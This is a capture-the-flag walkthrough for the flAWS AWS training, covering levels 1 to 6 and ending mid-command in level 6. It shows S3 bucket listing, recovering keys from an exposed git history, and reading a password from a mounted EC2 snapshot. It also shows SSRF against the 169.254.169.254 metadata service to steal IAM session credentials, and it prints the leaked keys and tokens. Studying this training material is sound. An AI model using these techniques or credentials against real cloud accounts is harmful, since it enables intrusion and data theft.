flAWS training complementary solution

Disclaimer

This document is not a write-up or a standalone solution to flAWS training but a complementary solution in order to add more details or alternative ways to solve some steps compared to the original solution.

Glossary#

  • AL: ArchLinux
  • ARN: Amazon Resource Names
  • AWS: Amazon Web Services
  • BA: BlackArch
  • CLI: Command Line Interface
  • FS: File System
  • SSRF: Server Side Request Forgery

Level 1 - S3 Bucket file listing (unauthenticated)#

This level is buckets of fun. See if you can find the first sub-domain.

Starting URL: http://flaws.cloud/

Hints:

Automated solution#

Package: aws-extender-cli from BA (pacman -S aws-extender-cli).

Then to list S3 files:

1
2
3
4
5
6
7
8
9
10
11
$ aws-extender-cli -b flaws.cloud -s S3
===== (flaws.cloud) =====
[*] s3:ListMultipartUploadParts
[*] s3:ListBucket
* hint1.html
* hint2.html
* hint3.html
* index.html
* logo.png
* robots.txt
* secret-dd02c7c.html

At http://flaws.cloud/secret-dd02c7c.html

1
2
Congrats! You found the secret file!
Level 2 is at http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

Manual solution#

You can determine the site is hosted as an S3 bucket by running a DNS lookup on the domain, and checking that browsing the IP redirects to https://aws.amazon.com/s3/. So we know that http://flaws.cloud/ is hosted on a S3 bucket.

Package: drill and curl from AL (pacman -S ldns curl)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ drill flaws.cloud
;; ->>HEADER<<- opcode: QUERY, rcode: NOERROR, id: 61427
;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;; flaws.cloud. IN A

;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.208.67

;; AUTHORITY SECTION:

;; ADDITIONAL SECTION:

;; Query time: 28 msec
;; SERVER: 127.0.0.1
;; WHEN: Mon Mar 16 16:51:05 2020
;; MSG SIZE rcvd: 45

$ curl --head http://52.218.219.42
HTTP/1.1 301 Moved Permanently
x-amz-error-code: WebsiteRedirect
x-amz-error-message: Request does not contain a bucket name.
x-amz-request-id: 546A0A09D101FFD5
x-amz-id-2: MSUeoj/EtUMTuMsVJOROmm5JBemRro+5YsKy3g5LVG1cO6Cb7ZA5pkzrG/ys8WkSOWdnprxkAzY=
Location: https://aws.amazon.com/s3/
Transfer-Encoding: chunked
Date: Mon, 16 Mar 2020 15:39:09 GMT
Server: AmazonS3

Then doing a reverse DNS lookup tells us the website is hosted on AWS region us-west-2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ $ drill -x 54.231.184.255
;; ->>HEADER<<- opcode: QUERY, rcode: NOERROR, id: 18941
;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;; 255.184.231.54.in-addr.arpa. IN PTR

;; ANSWER SECTION:
255.184.231.54.in-addr.arpa. 900 IN PTR s3-website-us-west-2.amazonaws.com.

;; AUTHORITY SECTION:

;; ADDITIONAL SECTION:

;; Query time: 52 msec
;; SERVER: 127.0.0.1
;; WHEN: Mon Mar 16 16:53:57 2020
;; MSG SIZE rcvd: 93

The website will also have a AWS domain: http://flaws.cloud.s3-website-us-west-2.amazonaws.com/

Now we we know the bucket name and region we can use AWS CLI tool to browse it:

Package: aws from AL (pacman -S aws-cli)

1
2
3
4
5
6
7
8
$ aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-14 04:00:38 2575 hint1.html
2017-03-03 05:05:17 1707 hint2.html
2017-03-03 05:05:11 1101 hint3.html
2018-07-10 18:47:16 3082 index.html
2018-07-10 18:47:16 15979 logo.png
2017-02-27 02:59:28 46 robots.txt
2017-02-27 02:59:30 1051 secret-dd02c7c.html

It is also possible to visit http://flaws.cloud.s3.amazonaws.com/ to lists the files due to the permissions issues on the bucket.

Package: xmllint from AL (pacman -S libxml2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ curl -s http://flaws.cloud.s3.amazonaws.com/ | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>flaws.cloud</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>hint1.html</Key>
<LastModified>2017-03-14T03:00:38.000Z</LastModified>
<ETag>"f32e6fbab70a118cf4e2dc03fd71c59d"</ETag>
<Size>2575</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint2.html</Key>
<LastModified>2017-03-03T04:05:17.000Z</LastModified>
<ETag>"565f14ec1dce259789eb919ead471ab9"</ETag>
<Size>1707</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>hint3.html</Key>
<LastModified>2017-03-03T04:05:11.000Z</LastModified>
<ETag>"ffe5dc34663f83aedaffa512bec04989"</ETag>
<Size>1101</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>index.html</Key>
<LastModified>2018-07-10T16:47:16.000Z</LastModified>
<ETag>"ddd133aef0f381cf0440d5f09648791d"</ETag>
<Size>3082</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>logo.png</Key>
<LastModified>2018-07-10T16:47:16.000Z</LastModified>
<ETag>"0623bdd28190d0583ef58379f94c2217"</ETag>
<Size>15979</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>robots.txt</Key>
<LastModified>2017-02-27T01:59:28.000Z</LastModified>
<ETag>"9e6836f2de6d6e6691c78a1902bf9156"</ETag>
<Size>46</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>secret-dd02c7c.html</Key>
<LastModified>2017-02-27T01:59:30.000Z</LastModified>
<ETag>"c5e83d744b4736664ac8375d4464ed4c"</ETag>
<Size>1051</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

Then see secret-dd02c7c.html.

Level 2 - S3 Bucket file listing (authenticated)#

The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.

Starting URL: http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

Hints:

Automatic solution#

Write you access and secret keys in a file with the following format expected by aws-extender-cli:

1
2
AccessKeyId=XXXX
SecretKey=XXXX

Then you can enumerate available files but providing credentials this time:

1
2
3
4
5
6
7
8
9
10
$ aws-extender-cli -s S3 -b level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud -k ~/.aws/aws-extender-cli
===== (level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud) =====
[*] s3:ListMultipartUploadParts
[*] s3:ListBucket
* everyone.png
* hint1.html
* hint2.html
* index.html
* robots.txt
* secret-e4443fc.html

View secret-e4443fc.html.

Manual solution#

For level 2 an AWS account is required. To configure an account use aws configure.

Again, use AWS CLI to list bucket files but authenticated this time.

1
2
3
4
5
6
7
$ aws s3 --profile default ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:02:15 80751 everyone.png
2017-03-03 04:47:17 1433 hint1.html
2017-02-27 03:04:39 1035 hint2.html
2017-02-27 03:02:14 2786 index.html
2017-02-27 03:02:14 26 robots.txt
2017-02-27 03:02:15 1051 secret-e4443fc.html

View secret-e4443fc.html.

Level 3 - Mining forgotten keys (git repository exposed)#

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.

Starting URL: http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

Hints:

Solution#

List the files unauthenticated (like in level 1) but there is a .git/ folder.

1
2
3
4
5
6
7
8
9
$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud --no-sign-request --region us-west-2
PRE .git/
2017-02-27 01:14:33 123637 authenticated_users.png
2017-02-27 01:14:34 1552 hint1.html
2017-02-27 01:14:34 1426 hint2.html
2017-02-27 01:14:35 1247 hint3.html
2017-02-27 01:14:33 1035 hint4.html
2017-02-27 03:05:16 1703 index.html
2017-02-27 01:14:33 26 robots.txt

The list of files is available at: http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.s3.amazonaws.com/

This time aws-extender-cli seems to list some files in .git/ but not all and not files at the root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ aws-extender-cli -s S3 -b level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
===== (level3-9afd3927f195e10225021a578e6f78df.flaws.cloud) =====
[*] s3:ListMultipartUploadParts
[*] s3:ListBucket
* .git/COMMIT_EDITMSG
* .git/HEAD
* .git/config
* .git/description
* .git/hooks/applypatch-msg.sample
* .git/hooks/commit-msg.sample
* .git/hooks/post-update.sample
* .git/hooks/pre-applypatch.sample
* .git/hooks/pre-commit.sample
* .git/hooks/pre-rebase.sample

We could use any web-based git dumper tool like dvcs-ripper, GitTools, git-dump to dump the git repository but we will use the aws CLI to download the whole S3 Bucket manually:

1
2
$ mkdir level3 && cd level3
$ aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2

From this point this is similar to any website exposing a git repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ git --no-pager log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600

Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:07 2017 -0600

first commit

$ git checkout HEAD^
level3 on î‚  master~1

$ ls
access_keys.txt authenticated_users.png hint1.html hint2.html hint3.html hint4.html index.html robots.txt

$ cat access_keys.txt
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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

Let's create a new profile in AWS CLI with the leaked keys:

1
2
3
4
5
$ aws configure --profile flaws-level3
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:

Then we can list all S3 buckets associated with this key:

1
2
3
4
5
6
7
8
9
10
11
$ aws --profile flaws-level3 s3 ls
2017-02-18 20:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 18:34:53 config-bucket-975426262029
2018-07-07 18:09:49 flaws-logs
2017-02-18 20:40:54 flaws.cloud
2017-02-24 06:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 19:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 19:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 20:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 20:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 21:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

Level 4 - EC2 snapshots#

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

Starting URL: http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

Hints:

Solution#

We can retrieve the account ID associated to the account we found in level3 and use it to list EC2 snapshots. Specifying the owner-id is not mandatory but helps to filter the output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ aws --profile flaws-level3 sts get-caller-identity
{
"UserId": "AIDAJQ3H5DC3LEG2BKSLC",
"Account": "975426262029",
"Arn": "arn:aws:iam::975426262029:user/backup"
}

$ aws --profile flaws-level3 ec2 describe-snapshots --owner-id 975426262029
{
"Snapshots": [
{
"Description": "",
"Encrypted": false,
"OwnerId": "975426262029",
"Progress": "100%",
"SnapshotId": "snap-0b49342abd1bdcb89",
"StartTime": "2017-02-28T01:35:12.000Z",
"State": "completed",
"VolumeId": "vol-04f1c039bc13ea950",
"VolumeSize": 8,
"Tags": [
{
"Key": "Name",
"Value": "flaws backup 2017.02.27"
}
]
}
]
}

Then we'll create a volume in out account using that snapshot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ aws --profile default ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
{
"AvailabilityZone": "us-west-2a",
"CreateTime": "2020-03-20T15:56:04.000Z",
"Encrypted": false,
"Size": 8,
"SnapshotId": "snap-0b49342abd1bdcb89",
"State": "creating",
"VolumeId": "vol-0769bf93b7ee2e80c",
"Iops": 100,
"Tags": [],
"VolumeType": "gp2",
"MultiAttachEnabled": false
}

Now in the console we can create an EC2 VM in the us-west-2 region and in the storage options, choosing the volume we just created.

https://us-west-2.console.aws.amazon.com/ec2/v2/home

Once create, we can connect to it via ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ssh -i sshflawslevel4.pem ec2-user@ec2-34-221-94-101.us-west-2.compute.amazonaws.com
SUSE Linux Enterprise Server 15 SP1 x86_64 (64-bit)

As "root" (sudo or sudo -i) use the:
- zypper command for package management
- yast command for configuration management

Management and Config: https://www.suse.com/suse-in-the-cloud-basics
Documentation: https://www.suse.com/documentation/sles-15/
Forum: https://forums.suse.com/forumdisplay.php?93-SUSE-Public-Cloud

Have a lot of fun...
ec2-user@ip-172-31-18-148:~>

Now we need to mount the additional volume:

1
2
3
4
5
6
7
8
9
10
11
ec2-user@ip-172-31-18-148:~> lsblk -f
NAME FSTYPE LABEL UUID FSAVAIL FSUSE% MOUNTPOINT
xvda
├─xvda1
├─xvda2 18.9M 5% /boot/efi
└─xvda3 8.4G 15% /
xvdb
└─xvdb1
ec2-user@ip-172-31-18-148:~> sudo file -s /dev/xvdb1
/dev/xvdb1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (needs journal recovery) (extents) (large files) (huge files)
ec2-user@ip-172-31-18-148:~> sudo mount /dev/xvdb1 /mnt/

Now let's browse the FS to find anything related to Nginx.

1
2
3
4
5
6
ec2-user@ip-172-31-18-148:~> ls -lh /mnt/home/ubuntu/
total 8.0K
-rw-rw-r-- 1 ec2-user 1000 268 Feb 12 2017 meta-data
-rw-r--r-- 1 ec2-user 1000 72 Feb 13 2017 setupNginx.sh
ec2-user@ip-172-31-18-148:~> cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

We found the basic Auth credentials protecting http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/ and we can use them now.

Level 5- instance metadata#

This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Starting URL: http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

Hints:

Solution#

169.254.169.254 - instance metadata and user data:

Amazon is warning us:

Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.

We can use the proxy to access the metadata service (SSRF):

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/

Some endpoints are interesting because they store credentials.

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws (IAM user)

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2020-03-20T16:55:46Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQG777RJY7A",
"SecretAccessKey" : "jx8Lukt6hjVf0ZsNApgl9lhY3+UBt57EJe0JBflh",
"Token" : "IQoJb3JpZ2luX2VjEAkaCXVzLXdlc3QtMiJHMEUCIFPNB02nwKQ0UVkFrjQGwfEUyEPhtU8v/1DKnYhU9JjZAiEAq2b/PTHFOtDg8Egpl//6U18Q6cn1B1Nny7VOuexDtHUqvQMI8v//////////ARABGgw5NzU0MjYyNjIwMjkiDLa8ITJodYTsbfaPdCqRA8Cl2xDjothfS+oshR1yBDuy46ErIzoD34kJ+hTPaEE/L+XFdUH1goLmmPfq9U0ThNajjlVOEI2TJZB576JmlIDPSJWWalPVGsJsQwl8Ovt9yivfX8cs4PO8vxtIlhoCPpEIcXMvGyZtnXM+0d7T3+wB5gybxT5HUw+D38EiJ9DZQfLiF//PzAnd6/NL75Qc8VrJW4aPbdc/LGsyCL7zyM2yBgxaTIOxjBPftiHxJiPNErdzd3uLRkSiONYQO3PeKi045NeoLrdf/RubpB4VDG+/JC15KY2dxI2+KBX3GTRYnUYmSvwgDnncjHZMmEUbZ9bA+udmtrxLJbf+kD+yjQ64b0+Jxqddou2zygPIF8wLZTxo4Eq1xboCUQRSoKzFKQ7Us25HJENi7aXnbxwgvOH7FX9G4UhE2nqQG+x1lI9YB9o5na/o6OWbmO5QWOogioT50gY+telqrxXk2T47JIiACv1OLAsYE/0OZ5R7OUgMV8vJdUNlasDpc+ankZNLUa9DnAhmnFwa79CF4G49TSu+MJbr0/MFOusBDmehoDqD7LRH4em/hW86QGivvdxQ/nnEUbKO1K/QYRdw3Dj0lj7vYx4S1VEHiaULmymN/+jtPj8BshMaCf5kavnQuj7v8SEtS7iMXXZ9SEWj1sSSIjZO78bDbKpR2joaqIYRbk2XQpepXNU5AZ1hlK+mxQrJU3wuKCqU4GgZq9eZe9nT61eyqAyewLxdV+7ggtSwKJTHmgEucSlTFnvmLhRmf8cM69qYr7cOtFDNRlt+JjPNsnpS29H9WCbNsetDv/o2XmKJQpfnQvtJgX76SbswAGXrANOpRUxMTz2rt7hVqWCI9w+puv8mJQ==",
"Expiration" : "2020-03-20T23:22:24Z"
}

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance (EC2 instance)

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2020-03-20T16:43:09Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQGS3RI42V7",
"SecretAccessKey" : "/+CRZaoxsiBkhZZV0kJX/beYsQeFdt9brGhfqtIx",
"Token" : "IQoJb3JpZ2luX2VjEAkaCXVzLXdlc3QtMiJHMEUCIQC+Pgdgg70WT/55V5+lr7X5f/9DGcTNH7c9u7aWAmQaPAIgBd0xcHggFs6nIkmpOPddiTwMIOXrGjEOLIJF7+tGVdAqyAMI8v//////////ARABGgw5NzU0MjYyNjIwMjkiDDyahV2Yjvqocrjw0yqcA7cEWN6NrbzISENdGt+9ZfGW+VHnjH8nmAjsbX13KsAM4aFqANC2AxNpx8CoKxMapoJXrmDaOA9e38k2hKcetuk6bOlpE/pagygnSJ6+J7NEtShLaFuukhmb717RatbmBy4Xo+oL1yyz1Onr2sP8K0X8I7Bwzcanj9i/739Lwswn0rGoC0YsvXQ7iRYU6MYUOUOxhPcojr3Q1ubWhccTxS6GVLyufaJTEc9mb5Be0olu8Sx/cf0rtBZyVVGZmWaxbhDgUN7MNJ/iZiwUhi4K5rCxik8M/phKmsAgoBb51VtshFe+fpc0gAHlKYMru+RYybt4Sq/qm5efWINgpLxdmuV4x6oFX6asbpo4zeGZW8J4hyZ1xFGx/jRkFhGzWf/PQx9mW0hWsBoVZrXlBrBgBKyKsm52pbWGH94CMYaVX9YyRGyWkf9rYCfmLfJ7fDRiwW435xRZ2i6zUVqBMXuxJ/Z5xrk9RayZ6FicjpU9C7jLdP+8WVfYHBUCiUS/nbeWGMuA6ZVpoXoIT1+SXOswQd2F139dkAZmZ9K8qsAwwuXT8wU65wEvYqwRx7jrl59r8U/hK1ujHdhqAGGiWbjVRUqk6Jy1fs0+UXeqqvmi7nZNLgwCGvsxS+d4HH6PJgpKn8aRKEXdlI+ltWLSybA2xl1GebRScjXWAOqHG4RHhU4Pn6XWc/+tT20PHOyVm4/7yDggdiLJ5sZVhSliRrajeZrSJGGsjhgUe+TKWsuKUmlLO9caNWY7ZR8XKwofUKMctrvNILqYUhfVNtgfRL8Lpu3n/N1S8jdvqre4lfBHhtFN0pQhbRKRqJnqRUUxcncNRaJ1oa3D5udLHOtg5NvRZzNWu7MrqUz91uLKf1k=",
"Expiration" : "2020-03-20T22:59:00Z"
}

For example, let's create a new profile with the IAM user:

1
2
3
4
5
$ aws configure --profile flaws-level5
AWS Access Key ID [None]: ASIA6GG7PSQG777RJY7A
AWS Secret Access Key [None]: jx8Lukt6hjVf0ZsNApgl9lhY3+UBt57EJe0JBflh
Default region name [None]: us-west-2
Default output format [None]:

But that's not enough, we need to add the access token too.

So you should have something like that:

1
2
3
4
[flaws-level5]
aws_access_key_id = ASIA6GG7PSQG777RJY7A
aws_secret_access_key = jx8Lukt6hjVf0ZsNApgl9lhY3+UBt57EJe0JBflh
aws_session_token = IQoJb3JpZ2luX2VjEAkaCXVzLXdlc3QtMiJHMEUCIFPNB02nwKQ0UVkFrjQGwfEUyEPhtU8v/1DKnYhU9JjZAiEAq2b/PTHFOtDg8Egpl//6U18Q6cn1B1Nny7VOuexDtHUqvQMI8v//////////ARABGgw5NzU0MjYyNjIwMjkiDLa8ITJodYTsbfaPdCqRA8Cl2xDjothfS+oshR1yBDuy46ErIzoD34kJ+hTPaEE/L+XFdUH1goLmmPfq9U0ThNajjlVOEI2TJZB576JmlIDPSJWWalPVGsJsQwl8Ovt9yivfX8cs4PO8vxtIlhoCPpEIcXMvGyZtnXM+0d7T3+wB5gybxT5HUw+D38EiJ9DZQfLiF//PzAnd6/NL75Qc8VrJW4aPbdc/LGsyCL7zyM2yBgxaTIOxjBPftiHxJiPNErdzd3uLRkSiONYQO3PeKi045NeoLrdf/RubpB4VDG+/JC15KY2dxI2+KBX3GTRYnUYmSvwgDnncjHZMmEUbZ9bA+udmtrxLJbf+kD+yjQ64b0+Jxqddou2zygPIF8wLZTxo4Eq1xboCUQRSoKzFKQ7Us25HJENi7aXnbxwgvOH7FX9G4UhE2nqQG+x1lI9YB9o5na/o6OWbmO5QWOogioT50gY+telqrxXk2T47JIiACv1OLAsYE/0OZ5R7OUgMV8vJdUNlasDpc+ankZNLUa9DnAhmnFwa79CF4G49TSu+MJbr0/MFOusBDmehoDqD7LRH4em/hW86QGivvdxQ/nnEUbKO1K/QYRdw3Dj0lj7vYx4S1VEHiaULmymN/+jtPj8BshMaCf5kavnQuj7v8SEtS7iMXXZ9SEWj1sSSIjZO78bDbKpR2joaqIYRbk2XQpepXNU5AZ1hlK+mxQrJU3wuKCqU4GgZq9eZe9nT61eyqAyewLxdV+7ggtSwKJTHmgEucSlTFnvmLhRmf8cM69qYr7cOtFDNRlt+JjPNsnpS29H9WCbNsetDv/o2XmKJQpfnQvtJgX76SbswAGXrANOpRUxMTz2rt7hVqWCI9w+puv8mJQ==

In level 3 we listed the S3 buckets so we know the existence of the level 6: level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

Let's list files again:

1
2
3
$ aws --profile flaws-level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-27 03:11:07 871 index.html

So let's go to the folder ddcc78ff/.

Level 6 - IAM policies#

For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

  • Access key ID: AKIAJFQ6E7BY57Q3OBGA
  • Secret: S2IpymMBlViDlqcAnFuZfkVjXrYxZYhP+dZ4ps+u

Starting URL: http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

Hints:

Solution#

Configure the new account and check information about it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ aws configure --profile flaws-level6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:

$ aws --profile flaws-level6 iam get-user
{
"User": {
"Path": "/",
"UserName": "Level6",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Arn": "arn:aws:iam::975426262029:user/Level6",
"CreateDate": "2017-02-26T23:11:16Z"
}
}

Let's see policies attached to this user:

1
2
3
4
5
6
7
8
9
10
11
12
$ aws --profile flaws-level6 iam list-attached-user-policies --user-name Level6
{
"AttachedPolicies": [
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
},
{
"PolicyName": "MySecurityAudit",
"PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
}
]

With the ARN we can list information about the policies, including the VersionId:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ aws --profile flaws-level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
"Policy": {
"PolicyName": "list_apigateways",
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "List apigateways",
"CreateDate": "2017-02-20T01:45:17Z",
"UpdateDate": "2017-02-20T01:48:17Z"
}
}

$ aws --profile flaws-level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit
{
"Policy": {
"PolicyName": "MySecurityAudit",
"PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
"Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Most of the security audit capabilities",
"CreateDate": "2019-03-03T16:42:45Z",
"UpdateDate": "2019-03-03T16:42:45Z"
}
}

With the ARN and the VersionId we can see the content of the policies:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ aws --profile flaws-level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2017-02-20T01:48:17Z"
}
}

$ aws --profile flaws-level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --version-id v1
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"acm:Describe*",
"acm:List*",
"application-autoscaling:Describe*",
"athena:List*",
"autoscaling:Describe*",
"batch:DescribeComputeEnvironments",
"batch:DescribeJobDefinitions",
"clouddirectory:ListDirectories",
...
"waf-regional:ListWebACLs",
"workspaces:Describe*"
],
"Resource": "*",
"Effect": "Allow"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2019-03-03T16:42:45Z"
}
}

So with the policy list_apigateways we can call apigateway:GET on arn:aws:apigateway:us-west-2::/restapis/*.

AWS API gateways are commonly used to run AWS Lambda

The policy MySecurityAudit let us see the available lambda functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ aws --profile flaws-level6 --region us-west-2 lambda list-functions
{
"Functions": [
{
"FunctionName": "Level6",
"FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Runtime": "python2.7",
"Role": "arn:aws:iam::975426262029:role/service-role/Level6",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 282,
"Description": "A starter AWS Lambda function.",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2017-02-27T00:24:36.054+0000",
"CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}
]
}

There is a function named Level6, let's see what it does.

Note: as the content is in JSON and the default output of AWS CLI is JSON too, JSON in JSON is hard to read so I choose to re-shape and beautify the output with jq.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ aws --profile flaws-level6 --region us-west-2 lambda get-policy --function-name Level6
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
"RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

# vs

$ aws --profile flaws-level6 --region us-west-2 lambda get-policy --function-name Level6 | jq '{Policy: .Policy | fromjson, RevisionId: .RevisionId}'
{
